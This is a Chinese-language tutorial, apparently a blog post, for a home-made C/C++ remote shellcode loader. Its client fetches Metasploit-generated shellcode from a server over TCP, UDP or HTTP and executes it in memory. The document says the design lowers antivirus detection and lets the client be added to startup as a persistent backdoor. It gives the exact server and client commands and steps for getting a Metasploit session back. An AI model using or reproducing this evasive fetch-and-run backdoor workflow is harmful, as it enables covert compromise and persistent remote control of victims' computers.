C/C++远程ShellCode执行工具

通过开发一组远程代码执行盒,可以动态实现对ShellCode代码的动态载入,由于ShellCode不存放在本地客户端常量区,所以在一定程度上可以减少被杀概率,客户端只保留之基本的Socket通信功能,当需要时才会加载恶意代码运行。

此工具分为服务端与客户端,客户端可以将其加入到开机自启动列表,并传入响应的参数即可,目前支持TCP/UDP/HTTP三种协议传输,后期可能会增加ICMP等来实现后门的传输工作。

使用 TCP/UDP 隧道上线

1.首先MFS工具生成ShellCode代码,代码无需压缩,直接保存为一下格式即可。

2.服务端执行命令,指定侦听端口,以及需要传输的shellcode反弹后门路径。

Server.exe RunServer –type tcp –listen 9999 –shellcode d://shellcode.txt

当服务器启动后,会默认在本机,侦听9999端口,等待客户端获取数据包。

2.启动我们的MSF控制台,并设置为侦听状态。

3.此时客户端执行,获取命令即可。

Client.exe RunClient –type tcp –address 127.0.0.1 –port 9999

4.回到我们的MSF控制台,就可以看到客户端已经上线了。

服务端与客户端此时状态如下,服务端发送数据后会显示客户端的IP地址来源。

MSF控制台则直接可以上线。


使用 HTTP 隧道上线

HTTP上线稍微复杂一些。

1.首先你需要手动将shellcode压缩为一行,并命名为shellcode.raw文件,压缩方式有多种,你可以使用我开发的shellcode注入器中的format函数完成。

2.当放入同级目录后,直接启动HTTP服务。

Server.exe RunServer –type http –listen 9999

3.此时我们可以通过浏览器,访问一下看看是否启动成功了。

4.客户端执行,获取命令即可。如下。

Client.exe RunClient –type http –address http://127.0.0.1:9999/shellcode.raw –port 9999

5.回到MSF中,可以看到已经成功上线了。